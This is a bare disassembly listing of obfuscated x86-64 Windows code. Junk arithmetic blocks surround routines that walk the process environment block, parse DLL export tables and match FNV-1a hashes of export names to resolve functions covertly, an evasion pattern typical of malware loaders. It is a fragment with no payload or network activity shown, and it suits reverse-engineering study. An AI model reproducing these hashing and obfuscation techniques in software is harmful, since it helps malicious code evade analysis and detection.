cmp qword [rdi + 0x30], 0
jne 0x14007f38d
push rax
pushf
mov eax, 0xe63443d5
pushf
not eax
add eax, 0x598e9e84
xor eax, 0x7e2314b2
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa1f11d
xor eax, 0x383e166a
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x2e070954
xor eax, 0x759a528a
rol eax, 0x3e
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x1a283dfd
pushf
not eax
add eax, 0x4ff3ad8
xor eax, 0x49a9d4a6
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x482209a3
xor eax, 0x76cf36b6
rol eax, 0x34
popf
pushf
not eax
add eax, 0x6a724444
xor eax, 0x29c26811
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x48e91fbd
xor eax, 0x282e022
rol eax, 0x62
popf
jmp 0x1400730eb
mov qword [0x140044138], rax
movabs rdi, 0x7aa977ef4eeb4c14
pushf
not rdi
add rdi, 0x8b6e342
xor rdi, 0x4ed09241
rol rdi, 0x35
popf
pushf
not rdi
add rdi, 0x1089da6e
xor rdi, 0x4152acd2
rol rdi, 0xe0
popf
pushf
not rdi
add rdi, 0x66df8952
xor rdi, 0x1c0c5f31
rol rdi, 0x59
popf
movabs rsi, 0x4cc270402b8fa1d3
pushf
not rsi
add rsi, 0x6c2a190a
xor rsi, 0xaba5cac
rol rsi, 0x53
popf
pushf
not rsi
add rsi, 0x3a5a259c
xor rsi, 0x74e9ecd7
rol rsi, 0x8c
popf
pushf
not rsi
add rsi, 0x39de46ef
xor rsi, 0x2a8fcb11
rol rsi, 0x41
popf
pushf
not rsi
add rsi, 0x4f16de0c
xor rsi, 0x21a04499
rol rsi, 0xbe
popf
movabs r14, 0xd97e64a53bc3b9ed
pushf
not r14
add r14, 0x775b9553
xor r14, 0x40f7d2d1
rol r14, 0x5d
popf
pushf
not r14
add r14, 0x7602f512
xor r14, 0x61b6e6cd
rol r14, 0xa2
popf
push rax
pushf
mov eax, 0xc45913c
pushf
not eax
add eax, 0x64ec384c
xor eax, 0x101fa1c3
rol eax, 0x13
popf
pushf
not eax
add eax, 0x781f2304
xor eax, 0x4660fe21
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb290f21
xor eax, 0x16f8c2ae
rol eax, 0x84
popf
pushf
not eax
add eax, 0x38ebe429
xor eax, 0x6a5c10a5
rol eax, 0x9c
popf
jmp 0x1400730eb
mov ecx, r15d
jmp 0x14007f54b
call rax
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.14008b984
nop
lea rcx, [rbp - 0x80]
call fcn.14005d783
movzx ebx, al
lea rcx, [rbp - 0x80]
call fcn.14008b5e6
test bl, bl
je 0x14007f5e5
push rax
pushf
mov eax, 0xdab78db1
pushf
not eax
add eax, 0x55b2575
xor eax, 0x62a35b9d
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x1a8e2e78
xor eax, 0x573c487b
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x76fa34fb
xor eax, 0x4bdb60f4
rol eax, 0x19
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xa911ba53
pushf
not eax
add eax, 0x1145373b
xor eax, 0x4149aa62
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x37fb4a50
xor eax, 0x3af5f94c
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x133d90da
xor eax, 0x5960e20f
rol eax, 0xa5
popf
jmp 0x1400730eb
movabs rax, 0x3dfc1cd483a3eef4
pushf
not rax
add rax, 0x555fbe63
xor rax, 0x317bf52
rol rax, 0x17
popf
pushf
not rax
add rax, 0x309ab487
xor rax, 0x5c6d4c10
rol rax, 0x7d
popf
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r14
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r14
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call fcn.1400bd21a
mov rax, qword [0x1400440e0]
test rax, rax
jne 0x14007fbdd
push rax
pushf
mov eax, 0x87bc55ed
pushf
not eax
add eax, 0x7631e25c
xor eax, 0xec24799
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x385c4e4f
xor eax, 0x76edb75f
rol eax, 0x18
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x3c36f904
pushf
not eax
add eax, 0x583e9376
xor eax, 0x4ac9f136
rol eax, 0x98
popf
pushf
not eax
add eax, 0x42e63c5
xor eax, 0x3a579559
rol eax, 0xe9
popf
jmp 0x1400730eb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0xc2d0a44a
pushf
not eax
add eax, 0xeb454a8
xor eax, 0x9c9527b
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x696ae9f3
xor eax, 0x305f5f3d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x21c7bf0f
xor eax, 0x2d8862dc
rol eax, 0x1f
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x14007fcf2
push rax
pushf
mov eax, 0xe551190b
pushf
not eax
add eax, 0x3989c7f1
xor eax, 0x2ddf94a8
rol eax, 0x77
popf
pushf
not eax
add eax, 0x3ebd4cfc
xor eax, 0x44e1ac40
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x1b6d7440
xor eax, 0x6052c157
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd1b4403
xor eax, 0x72803d45
rol eax, 0
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x6ccabf48
pushf
not eax
add eax, 0xcd3bae8
xor eax, 0x5c21ae99
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x40b6ff0a
xor eax, 0x4dc3c6fa
rol eax, 0x80
popf
pushf
not eax
add eax, 0x61df1257
xor eax, 0x1890a57c
rol eax, 0x63
popf
jmp 0x1400730eb
dec r10d
lea rcx, [rsi + r10*4]
mov r8d, dword [rcx + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0x8d78e878
pushf
not r9d
add r9d, 0x26d764d1
xor r9d, 0x4a456c4a
rol r9d, 0xce
popf
pushf
not r9d
add r9d, 0x73864063
xor r9d, 0x575851ae
rol r9d, 0x2f
popf
pushf
not r9d
add r9d, 0x574d8b56
xor r9d, 0x37c7b229
rol r9d, 0xe1
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14007feca
push rax
pushf
mov eax, 0xa930176c
pushf
not eax
add eax, 0x6bc6b066
xor eax, 0x6374c294
rol eax, 0x53
popf
pushf
not eax
add eax, 0x259755ab
xor eax, 0x5e2a469a
rol eax, 0x27
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x904ae043
pushf
not eax
add eax, 0x5d284fa5
xor eax, 0x56038b84
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x611c01f8
xor eax, 0x3a470a93
rol eax, 0x33
popf
pushf
not eax
add eax, 0x302f8c1f
xor eax, 0x4b98c151
rol eax, 0x52
popf
pushf
not eax
add eax, 0x45e5578
xor eax, 0x7e099e62
rol eax, 0xd
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x14007ffed
push rax
pushf
mov eax, 0xb8459ad0
pushf
not eax
add eax, 0x44c91328
xor eax, 0x2b6c7846
rol eax, 6
popf
pushf
not eax
add eax, 0x5ccc979f
xor eax, 0x5b066e5e
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x2784b152
xor eax, 0x73e4015a
rol eax, 0x43
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x8416265e
pushf
not eax
add eax, 0x11519da0
xor eax, 0x22690eb1
rol eax, 1
popf
pushf
not eax
add eax, 0x40307813
xor eax, 0x11ff106d
rol eax, 4
popf
pushf
not eax
add eax, 0x5ab7cf69
xor eax, 0x536e99e9
rol eax, 0xbc
popf
jmp 0x1400730eb
xor eax, eax
mov qword [0x1400440e0], rax
movabs r14, 0x719804d6b61c34d2
pushf
not r14
add r14, 0x6fd4192
xor r14, 0x32c34a9c
rol r14, 0x51
popf
pushf
not r14
add r14, 0x6b6c6da
xor r14, 0xeccd16a
rol r14, 0xe6
popf
pushf
not r14
add r14, 0x6a5cb29
xor r14, 0x877d405
rol r14, 0xa9
popf
push rax
pushf
mov eax, 0x9aab88a1
pushf
not eax
add eax, 0x504a8e11
xor eax, 0x56718061
rol eax, 0x91
popf
pushf
not eax
add eax, 0x1a420acb
xor eax, 0x242442e9
rol eax, 0x66
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x1400808f1
push rax
pushf
mov eax, 0xd1c3cb09
pushf
not eax
add eax, 0x6688494a
xor eax, 0x2b186e43
rol eax, 0x90
popf
pushf
not eax
add eax, 0x3a6cfe86
xor eax, 0x580f1d27
rol eax, 0xef
popf
pushf
not eax
add eax, 0x3784dc03
xor eax, 0x497461a5
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x69153e08
xor eax, 0x36a46734
rol eax, 0xbe
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x82311d0f
pushf
not eax
add eax, 0x12cf395c
xor eax, 0x7611460f
rol eax, 0x47
popf
pushf
not eax
add eax, 0x3633529f
xor eax, 0x1046f969
rol eax, 0x10
popf
pushf
not eax
add eax, 0x64f75175
xor eax, 0x1b34523e
rol eax, 0xa1
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x140080b20
push rax
pushf
mov eax, 0x8c1f6e69
pushf
not eax
add eax, 0x2bd7944d
xor eax, 0x6023ca6a
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x66c83f9f
xor eax, 0x66e143fa
rol eax, 0x62
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x23e494c2
pushf
not eax
add eax, 0x3d560574
xor eax, 0x12391d22
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x25784581
xor eax, 0x7316fe73
rol eax, 0x9b
popf
jmp 0x1400730eb
xor eax, eax
mov qword [0x140044128], rax
movabs r14, 0x1034c842ba27dfd1
pushf
not r14
add r14, 0x6016c266
xor r14, 0x49bdf24c
rol r14, 0xcc
popf
pushf
not r14
add r14, 0x53c732c7
xor r14, 0x7e3d3c3c
rol r14, 0xc7
popf
push rax
pushf
mov eax, 0xaf2a791e
pushf
not eax
add eax, 0x5a1a4578
xor eax, 0x343fe2f6
rol eax, 0x81
popf
pushf
not eax
add eax, 0x4d559e59
xor eax, 0x3ce29945
rol eax, 0x86
popf
pushf
not eax
add eax, 0x5e750344
xor eax, 0x1875653d
rol eax, 0xde
popf
pushf
not eax
add eax, 0x21a44209
xor eax, 0x3b6145c6
rol eax, 0xaa
popf
jmp 0x1400730eb
mov ecx, 0x321f9c48
pushf
not ecx
add ecx, 0x17a2d915
xor ecx, 0x51eedede
rol ecx, 0x69
popf
pushf
not ecx
add ecx, 0x7817c109
xor ecx, 0x58d3bb7d
rol ecx, 0x75
popf
pushf
not ecx
add ecx, 0x5ccd0e5d
xor ecx, 0x4114c5d8
rol ecx, 0x9c
popf
jmp 0x140080c36
call rax
xor edx, edx
mov rcx, r15
call fcn.140109020
movabs r15, 0xfcb5e7fe9bffb1f5
pushf
not r15
add r15, 0x54ddef01
xor r15, 0x23ea3ce1
rol r15, 0x4d
popf
pushf
not r15
add r15, 0x45abb3cb
xor r15, 0x13128caa
rol r15, 0x90
popf
pushf
not r15
add r15, 0x3272ab1f
xor r15, 0xc1b1d74
rol r15, 0x5f
popf
pushf
not r15
add r15, 0x208a7854
xor r15, 0x39617f5d
rol r15, 0x32
popf
test eax, eax
jne 0x140080cfe
push rax
pushf
mov eax, 0xea12584b
pushf
not eax
add eax, 0x1ecce082
xor eax, 0x4b4c3218
rol eax, 0x61
popf
pushf
not eax
add eax, 0x26c1a1e6
xor eax, 0x430ba133
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x70dcdc43
xor eax, 0x398344c4
rol eax, 0xce
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x1be3a7c1
pushf
not eax
add eax, 0x3b5d3b2b
xor eax, 0xc3e1ed7
rol eax, 0xba
popf
pushf
not eax
add eax, 0x3942dd6f
xor eax, 0x29f810f1
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x6e037560
xor eax, 0x1768096d
rol eax, 0xee
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x140081034
push rax
pushf
mov eax, 0xe886a856
pushf
not eax
add eax, 0x12c5b07c
xor eax, 0x514d0cdc
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x4a86ee56
xor eax, 0x6900bc26
rol eax, 0xff
popf
pushf
not eax
add eax, 0x50cd5237
xor eax, 0x176d2977
rol eax, 0xb
popf
pushf
not eax
add eax, 0x1c7fa947
xor eax, 0x4678547e
rol eax, 0x1d
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xb6e00ea8
pushf
not eax
add eax, 0x277ab5a5
xor eax, 0x571f06cf
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x6cf221e1
xor eax, 0x6cdfb4f8
rol eax, 0xad
popf
pushf
not eax
add eax, 0x7e5dd6eb
xor eax, 0x484994ce
rol eax, 0x33
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x1400810c9
push rax
pushf
mov eax, 0x26fefc2e
pushf
not eax
add eax, 0x414ad396
xor eax, 0x443208c3
rol eax, 0x66
popf
pushf
not eax
add eax, 0x16fb03ac
xor eax, 0x66c77e90
rol eax, 0x99
popf
pushf
not eax
add eax, 0x11fd5615
xor eax, 0x2dc0cd4c
rol eax, 0x6b
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xcc92bb77
pushf
not eax
add eax, 0x4906d635
xor eax, 0x1ed61087
rol eax, 0x93
popf
pushf
not eax
add eax, 0x63f08055
xor eax, 0x121d6bd7
rol eax, 0x61
popf
jmp 0x1400730eb
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0x11a4efee
pushf
not r9d
add r9d, 0x2f8a430a
xor r9d, 0x55cc74c7
rol r9d, 0xfe
popf
pushf
not r9d
add r9d, 0x31f77a21
xor r9d, 0x152c0e71
rol r9d, 0xe7
popf
pushf
not r9d
add r9d, 0x5439aba0
xor r9d, 0x6ed73937
rol r9d, 0x34
popf
pushf
not r9d
add r9d, 0x7f8230ac
xor r9d, 0x19fab352
rol r9d, 0xaa
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140081238
push rax
pushf
mov eax, 0xd5507e6a
pushf
not eax
add eax, 0x20d73aed
xor eax, 0x553e4460
rol eax, 0x84
popf
pushf
not eax
add eax, 0x4265ef18
xor eax, 0x11c39f6a
rol eax, 0x31
popf
pushf
not eax
add eax, 0x614c36df
xor eax, 0x4213a8a1
rol eax, 0xc4
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xc2856e
pushf
not eax
add eax, 0x3237bf63
xor eax, 0x2bdf906f
rol eax, 0xee
popf
pushf
not eax
add eax, 0x507c3c06
xor eax, 0x12fe54db
rol eax, 0x89
popf
pushf
not eax
add eax, 0x32f647f6
xor eax, 0x48c03cb8
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x197927a3
xor eax, 0x75d47e02
rol eax, 0xd5
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x2414cdc4
pushf
not eax
add eax, 0x54a25018
xor eax, 0x70e091f4
rol eax, 0x62
popf
pushf
not eax
add eax, 0x36bf4d9a
xor eax, 0x8b91e4f
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x469a12ec
xor eax, 0xabcef94
rol eax, 0x87
popf
pushf
not eax
add eax, 0x46c35022
xor eax, 0x41573380
rol eax, 0xc5
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x1400814be
push rax
pushf
mov eax, 0xf8017288
pushf
not eax
add eax, 0x2efc0e96
xor eax, 0x7f001703
rol eax, 0xf
popf
pushf
not eax
add eax, 0xb2f6c31
xor eax, 0x22ce1411
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x67f1ca0a
xor eax, 0x4543e3b6
rol eax, 0x72
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xe4bdd3db
pushf
not eax
add eax, 0x27a00573
xor eax, 0x35b2e38b
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xe649b31
xor eax, 0x28bbc027
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x1f4cdf9a
xor eax, 0x20a0e6d
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xa5c8147
xor eax, 0x49ecec5d
rol eax, 0xbd
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x14008160f
push rax
pushf
mov eax, 0x85d2e0c4
pushf
not eax
add eax, 0x6f066882
xor eax, 0x14d2b039
rol eax, 0x66
popf
pushf
not eax
add eax, 0x5c9ba5dd
xor eax, 0x39bf2279
rol eax, 0xac
popf
pushf
not eax
add eax, 0x501b1c4d
xor eax, 0x21acc72d
rol eax, 0xfd
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x893b0dee
pushf
not eax
add eax, 0x262af40a
xor eax, 0x7af2adb3
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x5d28f793
xor eax, 0x3da1a4a9
rol eax, 0x28
popf
jmp 0x1400730eb
movabs rax, 0x1911575fa135b2ef
pushf
not rax
add rax, 0x756ca55
xor rax, 0x78b5366a
rol rax, 0xd4
popf
pushf
not rax
add rax, 0x21e4f0a1
xor rax, 0x12ec94f3
rol rax, 8
popf
pushf
not rax
add rax, 0x45beedee
xor rax, 0x5aa6e8ec
rol rax, 0xe1
popf
mov qword [rbp - 0x80], rax
movabs rax, 0xb2cc66efdc4e761d
pushf
not rax
add rax, 0x3d72be07
xor rax, 0x3ad7e569
rol rax, 0x28
popf
pushf
not rax
add rax, 0x6cb646aa
xor rax, 0x74da009c
rol rax, 0x82
popf
mov qword [rbp - 0x78], rax
movabs rax, 0xd1780c300053d2cc
pushf
not rax
add rax, 0x1a1c8849
xor rax, 0x4b5db0b8
rol rax, 0x91
popf
pushf
not rax
add rax, 0x76dc6c2
xor rax, 0x355c735e
rol rax, 0xae
popf
pushf
not rax
add rax, 0x5a610b08
xor rax, 0x6744d2b5
rol rax, 0x68
popf
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r15
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
movabs rax, 0xb9288c8f1474012a
pushf
not rax
add rax, 0x1de6b883
xor rax, 0x6e487ed4
rol rax, 1
popf
pushf
not rax
add rax, 0x42588313
xor rax, 0x5c3c6423
rol rax, 0xe7
popf
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], r15
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x70], xmm1
lea rcx, [rbp - 0x80]
call fcn.1400bdbb2
mov rax, qword [0x140044058]
test rax, rax
jne 0x14008191a
push rax
pushf
mov eax, 0x7263c091
pushf
not eax
add eax, 0x3a2c3d9d
xor eax, 0x3356b231
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe423e3e
xor eax, 0x69010466
rol eax, 0xb2
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x8856d0cd
pushf
not eax
add eax, 0x37808a8
xor eax, 0x43b14074
rol eax, 0x70
popf
pushf
not eax
add eax, 0x395c7c
xor eax, 0x5579ef3c
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x408fda28
xor eax, 0x559db418
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xcbf554d
xor eax, 0x11626137
rol eax, 1
popf
jmp 0x1400730eb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0xeb54297b
pushf
not eax
add eax, 0x42979fef
xor eax, 0x32dc0f69
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x4f9293af
xor eax, 0x1e0a68d8
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x6c521a23
xor eax, 0x3b8e524c
rol eax, 0x61
popf
pushf
not eax
add eax, 0x1f575257
xor eax, 0x238bd38e
rol eax, 0x53
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140081da2
push rax
pushf
mov eax, 0xd9bdf3f
pushf
not eax
add eax, 0x436d0093
xor eax, 0x70558cae
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x2d220bc9
xor eax, 0x3484a856
rol eax, 0x83
popf
pushf
not eax
add eax, 0x3de0ebb1
xor eax, 0x6c263aec
rol eax, 0xd
popf
pushf
not eax
add eax, 0x17864c3b
xor eax, 0x30d17286
rol eax, 0x55
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd7bc2a30
pushf
not eax
add eax, 0x5d8658df
xor eax, 0x5329bda8
rol eax, 0x93
popf
pushf
not eax
add eax, 0x8ff374e
xor eax, 0x7803ed1c
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x20986d0
xor eax, 0x567dde77
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x39042fda
xor eax, 0x1aeba8f3
rol eax, 1
popf
jmp 0x1400730eb
cmp r9d, 0xde608388
je 0x140081e60
push rax
pushf
mov eax, 0xc53350c2
pushf
not eax
add eax, 0x4d85e170
xor eax, 0x5ec55115
rol eax, 0x79
popf
pushf
not eax
add eax, 0x1fcd85b0
xor eax, 0x8b75742
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x4a450a32
xor eax, 0x32147a40
rol eax, 0x43
popf
pushf
not eax
add eax, 0x6f6d98c7
xor eax, 0xa255eb
rol eax, 0xb2
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x38cddbb9
pushf
not eax
add eax, 0x5a66cdee
xor eax, 0x71e2b3d
rol eax, 0x36
popf
pushf
not eax
add eax, 0x66127e89
xor eax, 0x23c9e2d2
rol eax, 0xd8
popf
jmp 0x1400730eb
xor eax, eax
mov qword [0x140044058], rax
push rax
pushf
mov eax, 0x116f27a2
pushf
not eax
add eax, 0x6e1fbff6
xor eax, 0x2e2d26ac
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x75175242
xor eax, 0x5ac1d25e
rol eax, 0xee
popf
pushf
not eax
add eax, 0x5b9406da
xor eax, 0x32ed2df
rol eax, 0x4c
popf
jmp 0x1400730eb
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x14007e148
mov eax, dword [rbx + 0x24]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
movzx edx, word [rax + r10*2]
mov ecx, dword [rbx + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x14007f3e8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0xc2c6726c
pushf
not eax
add eax, 0x712f5d33
xor eax, 0x2bd1487e
rol eax, 0x15
popf
pushf
not eax
add eax, 0x5d947e7d
xor eax, 0x6716cfc7
rol eax, 0x55
popf
pushf
not eax
add eax, 0x5e3d9477
xor eax, 0x545161df
rol eax, 0xc5
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x1400826dd
push rax
pushf
mov eax, 0x97f08dec
pushf
not eax
add eax, 0x3b4e3043
xor eax, 0x2c2fe013
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x4ade733b
xor eax, 0x69a869ba
rol eax, 0x27
popf
pushf
not eax
add eax, 0x55009e66
xor eax, 0xec0ccf0
rol eax, 0x71
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x2628abad
pushf
not eax
add eax, 0x3a896e47
xor eax, 0x76404848
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x4e44437e
xor eax, 0x4dd75897
rol eax, 0x88
popf
pushf
not eax
add eax, 0x6ed1b11f
xor eax, 0x74dcaede
rol eax, 0xf6
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140082785
push rax
pushf
mov eax, 0xc9a407b
pushf
not eax
add eax, 0x29c7f4b8
xor eax, 0x4ad43849
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x563a34dd
xor eax, 0x79b1a89d
rol eax, 0x62
popf
pushf
not eax
add eax, 0x978d713
xor eax, 0xa1a0086
rol eax, 0xce
popf
pushf
not eax
add eax, 0x33b72c5e
xor eax, 0x3db5bf08
rol eax, 0xec
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xa7d9ce9
pushf
not eax
add eax, 0x2344ecd6
xor eax, 0x41e9517a
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x1726c32f
xor eax, 0x70b11594
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe0f4502
xor eax, 0x145e1673
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x3925f965
xor eax, 0x333fbcde
rol eax, 0x65
popf
jmp 0x1400730eb
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0xaf2fe820
pushf
not r9d
add r9d, 0x6e231a9a
xor r9d, 0x1bd45ace
rol r9d, 0xf
popf
pushf
not r9d
add r9d, 0x3423e7f1
xor r9d, 0x4381efd9
rol r9d, 0xbd
popf
pushf
not r9d
add r9d, 0x1a6caaa8
xor r9d, 0x2ff86d9e
rol r9d, 0xaa
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400828ee
push rax
pushf
mov eax, 0x994e01f4
pushf
not eax
add eax, 0x2fe9a1b2
xor eax, 0x6b832c62
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x630440bf
xor eax, 0x5b32b58b
rol eax, 0x25
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x4504c3d0
pushf
not eax
add eax, 0x2ec0ed81
xor eax, 0x2442f678
rol eax, 0x78
popf
pushf
not eax
add eax, 0x2e4a2eb6
xor eax, 0x657c2f73
rol eax, 0xe1
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x5cfabe26
pushf
not eax
add eax, 0x7556ac04
xor eax, 0x452e4b24
rol eax, 0x43
popf
pushf
not eax
add eax, 0xea08a79
xor eax, 0x7fcbdf29
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x7c439ac6
xor eax, 0x2f6838ee
rol eax, 0x50
popf
jmp 0x1400730eb
cmp r9d, 0x47c3c58d
je 0x140082a97
push rax
pushf
mov eax, 0xad23eeef
pushf
not eax
add eax, 0x44bf980d
xor eax, 0xffda8a7
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x348a645d
xor eax, 0x75f7e595
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x1f6bf28f
xor eax, 0x654de729
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x3d8a2813
xor eax, 0x4f48727
rol eax, 0x79
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xc4d5a0c5
pushf
not eax
add eax, 0x7d2a5eab
xor eax, 0x2667d4ec
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x17820724
xor eax, 0x53aecabd
rol eax, 0xac
popf
